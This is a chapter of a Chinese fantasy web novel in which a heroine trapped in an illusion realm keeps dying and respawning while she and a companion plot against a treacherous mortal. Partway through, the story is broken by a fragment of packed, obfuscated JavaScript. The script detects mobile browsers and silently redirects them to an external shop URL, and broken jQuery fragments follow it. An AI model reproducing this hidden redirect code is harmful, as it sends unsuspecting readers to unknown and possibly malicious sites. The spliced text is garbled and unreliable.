担心的事情还是发生了,只见谢衍道擦了擦剑身上的血,一步步朝她走来。
玉宁身子不住往后退,却始终无法冲破禁锢,只能看着那张熟悉的脸越走越近。
谢衍道浑身染血,似九天之上堕下凡尘的战神,看蝼蚁一般看她。
怎么办?
剑身闪着寒光朝她劈来,剑尖在眼前放大,玉宁连呼吸都不知觉停止。
“住手!”一道大红的身影拦在面前,柳月瑶张开双臂,十个手指头近乎溃烂,汩汩着血,头额上也是大块大块的伤。
见到来人谢衍道剑尖一顿,止住攻势,表情终于多了些不忍。
“常安!你为什么要这么做?”柳月瑶倔强昂头,嘶吼着,眼眶血红,“你说过会爱我一辈子的!你说会与我一起照拂鲛人族子民的!”
“昭昭,我不变强如何能保护好你。”谢衍道声音含笑,“这里所有人,我唯独不舍伤你,本来我将你困在阵里,明天一早就能解决完了,为何非要冲出来?”
他上前一步,似是心疼地抚摸着柳月瑶额头伤口,“撞成这样子,待会我去给你涂点药。”
柳月瑶眼眶溢满泪水,一巴掌扇在谢衍道脸上,青年头被扇得偏开,却依然低低的笑。
“为什么?”柳月瑶揪着他的衣领,怒声质问:“为什么?只是为了挖鲛丹修炼吗?”
谢衍道低头和她对视着:“鲛人族喜好在海上兴风作浪,对么?”
柳月瑶一愣,没想到他为什么说这个。
“你们鲛人喜欢到海上用灵力搅动海水,对你们来说只是好玩,于海上的凡人而言却是灾难,小时候在下有位哥哥,便是这样死的。”谢衍道声音冷冷。
竟然是这样莫须有的罪,这篇海洋本来就是属于的鲛人的,在自己的地盘呼浪引水有什么不对?
“你要报仇?你要报仇你光明正大来报啊!你去求仙问道,你堂堂正正越过我鲛族防线,堂堂正正打败我父王母后啊。”
柳月瑶手指骨节攥得发白:“为什么?为什么利用我?利用我杀我全族?”
谢衍道手一挥,便将柳月瑶禁锢到一旁。
“求仙问道太慢了,本来我都放弃了,偏偏有人竟然将我哥的遗物作为礼物送给我,你鲛族欺我至此,叫我如何忍得?”说着,他手里出现一个长命锁。
那长命锁银白如新,下端挂着两只银珠子,少了一只。
鲛人喜欢收集亮晶晶的东西,又与人族甚少有交流,送给他只是觉得此物稀奇罢了,想将最好的东西送给公主的夫婿。
柳月瑶哭着,一双不成样子的手狠狠抓着身上的光锁。
玉宁不受控制开口:“你满意了?你父王死了,鲛人族精锐皆在此覆灭,我怎么会生出你这种女儿?本宫跟你父王什么时候短了你的?你非要跟个凡人搅和在一起?!!”
“我有罪,我才是罪魁祸首!我就不该生下你这么个孽种!”玉宁声音绝望。
谢衍道的脸越来越沉,手中捏剑。
一剑洞穿了玉宁的喉咙。
玉宁眼睛瞪大,身子倒下去。
眼前场景从谢衍道的脸慢慢移到天上蓝蓝的天,玉宁缓慢地眨了下眼,疼痛感慢慢消失。
又要死了吗?
闭上眼的最后一刻,她看见空间开始扭曲。
黑暗中身边传来嘈杂声,玉宁陡然睁开眼。
又是熟悉的场景。
身边好些丫鬟围着她,身边柳月瑶趴在她身边哀求:“母后,我和常安是真心相爱的,他待我极好,你就答应我们成婚吧!”
柳月瑶依旧楚楚可怜,眼神哀伤。
玉宁好半晌才从死亡的恐惧中缓过来,她忍不住摸了摸脖子,没有被捅穿,还是好好的。
呼——
吓死她了。
旁边柳月瑶见她不为所动,还在喋喋不休哀求着,
这场景不就是她刚入幻境那会儿吗?
又要重来一遍?
玉宁这会看见柳月瑶就来气,偏偏她还在这说什么成全他们的话。
你可拉倒吧。
你们这些天龙人的爱恨情仇别拉我这个小老百姓垫背好吗?
玉宁像霜打过的茄子,按部就班地说着台词。
柳月瑶遭到拒绝,果然抹着眼泪往外跑去。
玉宁刚刚神经紧绷到极点,现在松懈下来每一根手指都是累的,就这样,还得按着剧情去追她。
“昭儿,刚刚是娘说重了,你不要意气用事!”玉宁一边追一边翻着白眼道。
一道意料之内又意料之外的声音传来:“那个凡人小子呢?本座现在就将他劈成两瓣!”
玉宁听着这满含怒气的话,心中一跳,这棠溪越怎么回事,怎么不按剧本来,他能逃脱幻境的掌控了?
转头,便看见棠溪越长眉紧皱,眼神充满戾气盯着柳月瑶,“不说是吧?不说本座先杀了你,再送你跟你情郎团聚。”
柳月瑶:“父王!!你在说什么?”
玉宁:!!你ooc了呀大哥!
棠溪越像是气疯了,什么都不想管了,他手中凝气准备朝柳月瑶攻来。
千钧一发之际,一道布衣身影冲出来:“千错万错在我……”
见着来人,棠溪越点漆般的黑眸露出狂妄危险的笑意,“好啊,本座等的就是你!去死吧。”
说着元婴期灵力朝谢衍道轰去。
这人干嘛?玩不过直接掀桌是吧?玉宁瞳孔巨震,心里又无语又不可避免的夹杂着一点儿小爽。
她想杀谢衍道的心比起棠溪越有过之而无不及。哪怕第二次对方杀她是被幻境控制的情况下。
谢衍道在幻境中扮演的是常安,修为也被压制到金丹,压根没有还手之力,被那灵力轰出几丈远。
耳边传来柳月瑶的惊呼。
谢衍道死了,眼前空间再次扭曲,变形,重组。
玉宁又回到了房间,身边丫鬟环绕,柳月瑶跪在她脚边哀求。
……棠溪越这个莽夫!
玉宁面无表情走完流程,出门见着棠溪越同样一副恹恹的表情,机械念着台词。
待到夜间,两人在幻境的控制下灰头土脸碰面。
“哇!尊上你还活着!”玉宁语气平淡开口,拍了拍床示意他坐上来。
棠溪越一屁股坐在她身边,瞥了她一眼:“小宁子,你也还没死啊。”
“死的比尊上稍稍晚一些。”玉宁本想嘲讽他,但想到他是怎么死的,顿时歇了嘲讽的心思。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746164|209296||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>她身子瘫到床上,一只腿翘着,声音惆怅:“怨女到底要干嘛?”
“不知。”棠溪越将枕头摆在两人中间,也躺下来:“本座不是将那常安杀了么,杀了那小子就不会有后来的事了,她还有什么执念?”
“难道说不能用硬的?”玉宁道:“要不咱们迂回一点,揭穿这个凡人的真面目,叫那个蠢货公主看看她喜欢的是个什么货色!”
棠溪越轻嗤一声,转头看她捏着拳头义愤填膺的样子,“小宁子还有脸骂别人蠢货?你倒是聪明绝顶。”
玉宁:再说连你一块骂。
他气昏了跑去强行将那个凡人杀掉的事,她都没口说。
“倒是可以一试,将那个常安杀鲛人取鲛丹修炼的事摆到明面上,那公主应当不会再冥顽不灵。”棠溪越道。
玉宁点点头,现下也没有其他办法了。他们不能当着柳月瑶的面做任何小动作,背着她却可以自由控制自己身体。
于是玉宁与棠溪越分头行动,分别在城里寻找常安杀害鲛人取丹的证据。
是夜,街道空空荡荡,行至角落,空气里透着一股潮湿霉味儿,月亮只隐隐露出一弯芽儿,全凭着路边墙体上镶着的月明珠才能勉强看清路。
玉宁身穿一身黑色劲装,提着一柄朴实无华的凡剑,小心走在街道角落。
老天爷,别让她真碰到那什么常安行凶的场面了,这幻境这么邪门,那常安又是谢衍道的壳子。
她一个还没结丹的小筑基,别待会又死翘翘了。虽然不会真死,但谁知道会不会有什么副作用。那怨女总不能只是把他们困在幻境里玩什么无限流副本吧?
这么重要的事就让棠溪越去做吧,她不抢他风头。
玉宁小心走着,大气不敢喘。
耳尖忽而感受到周围气流浮动,玉宁立刻脊背紧绷,手里握着剑,身子缓缓下压。
什么东西?
四周地面慢慢浮出黑烟,朝玉宁逼近。
“命持咒,缚!”玉宁掌心解印,一道血红法印浮现。
将将成形便被打散,玉宁目光一凝,心跳漏了一拍。
上次她用血绘咒,不过挡了云震天一息。这次只是用灵力所绘,连一息都拦不住。
起码是个元婴八阶!
玉宁被灵力震得五脏六腑生疼,嘴角溢出鲜血,她目光紧紧盯着一处。
道路尽头传来一声令人毛骨悚然的轻笑,一道身材纤细的黑影缓缓在黑气中凝结,那道身影指尖把玩着怨气,眼眶里没有眼珠,黑洞洞地望过来。
怎么来找她这个小喽啰麻烦,偏偏还趁着棠溪越不在的时候,看不出来这怨女还是个欺软怕硬的。
看她周身气息,已经是元婴巅峰。
玉宁压根找不到任何赢的可能,她只思考了0.001秒立刻转身向后掠去。
打不赢她跑总行了吧?
怨女似是瞧不起她这个小喽啰,手一挥黑气凝结成两个金丹七阶的怨鲛,朝她扑杀而来。
玉宁运转灵力,跃上墙头,顺着屋檐建筑向远处疾驰而去,身后怨鲛穷追不舍。
别追了,去找棠溪越吧,算我求你了。
玉宁疯狂催动灵力,脚下跟生了风一样,但身后的怨鲛与她的距离依然在缩近。